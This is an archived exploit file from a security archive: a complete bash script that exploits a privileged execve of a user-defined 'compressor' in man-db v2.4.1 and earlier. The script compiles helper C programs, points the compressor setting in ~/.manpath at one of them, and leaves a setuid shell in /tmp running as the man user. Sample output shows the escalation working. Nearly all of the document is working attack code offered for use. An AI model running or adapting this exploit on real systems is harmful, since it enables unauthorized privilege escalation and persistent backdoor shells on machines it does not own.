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TUCoPS :: Linux :: Apps A-M :: bt828.txt

man-db: open_cat_stream() privileged call exploit.







#!/bin/bash

# xmandb.sh: shell command file.

#

# man-db[v2.4.1-]: local uid=man exploit.

# by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)

#

# open_cat_stream() privileged call exploit.

#

# i've been conversing with the new man-db maintainer, and after the

# initial post sent to bugtraq(which i forgot to inform him), i sent him

# an email highlighting another vulnerability i forgot to mention in the

# original BID(http://www.securityfocus.com/bid/8303).

#

# once he checked it out, he noticed that the routine never dropped

# privileges before/after the potential buffer/elemental overflow occured,

# and executed the (user defined) "compressor" binary.  making it

# pointless to exploit this via the overflow method, and all-purpose to

# exploit this via the privileged execve() call method.

#

# best of luck to the new maintainer(Colin Watson<cjwatson@debian.org>),

# he noticed it before i did, so he's on the right track. :)

#

# example:

#  [v9@localhost v9]$ id

#  uid=500(v9) gid=500(v9) groups=500(v9)

#  [v9@localhost v9]$ ./xmandb.sh

#  [*] making fake manpage directories/files...

#  [*] making runme, and mansh source files...

#  [*] compiling runme source...

#  [*] setting "compressor" to: /tmp/runme...

#  [*] executing man-db/man...

#  [*] cleaning up files...

#  [*] success, entering shell.

#  -rws--x---    1 man      v9          13963 Jun 13 20:09 /tmp/mansh

#  sh-2.04$ id

#  uid=15(man) gid=500(v9) groups=500(v9)

#  sh-2.04$ 

#

# (tested on redhat7.1, from src, should work out of the box everywhere)



MANBIN=/usr/bin/man

MANDIR=man_x

TMPDIR=/tmp

echo "man-db[v2.4.1-]: local uid=man exploit."

echo -e "by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n"

if [ ! "`$MANBIN -V 2>/dev/null`" ]

then

 echo "[!] \"$MANBIN\" does not appear to be man-db, failed."

 exit

fi

umask 002

cd $TMPDIR

echo "[*] making fake manpage directories/files..."

mkdir $MANDIR ${MANDIR}/man1 ${MANDIR}/cat1

touch ${MANDIR}/man1/x.1

echo "[*] making runme, and mansh source files..."

cat <<EOF>runme.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/stat.h>

int main(int argc,char **argv){

 setreuid(geteuid(),geteuid());

 system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");

 chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);

 unlink(argv[0]);

 exit(0);

}

EOF

cat <<EOF>mansh.c

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

int main(){

 setreuid(geteuid(),geteuid());

 execl("/bin/sh","sh",0);

 exit(0);

}

EOF

echo "[*] compiling runme source..."

cc runme.c -o runme

echo "[*] setting \"compressor\" to: ${TMPDIR}/runme..."

echo "DEFINE compressor ${TMPDIR}/runme">~/.manpath

echo "[*] executing man-db/man..."

$MANBIN -M ${TMPDIR}/$MANDIR -P /bin/true x 1>/dev/null 2>&1

echo "[*] cleaning up files..."

rm -rf $MANDIR mansh.c runme.c runme ~/.manpath

if test -u "${TMPDIR}/mansh"

then

 echo "[*] success, entering shell."

 ls -l ${TMPDIR}/mansh

 ${TMPDIR}/mansh

else

 echo "[!] exploit failed."

 rm -rf ${TMPDIR}/mansh

fi

exit



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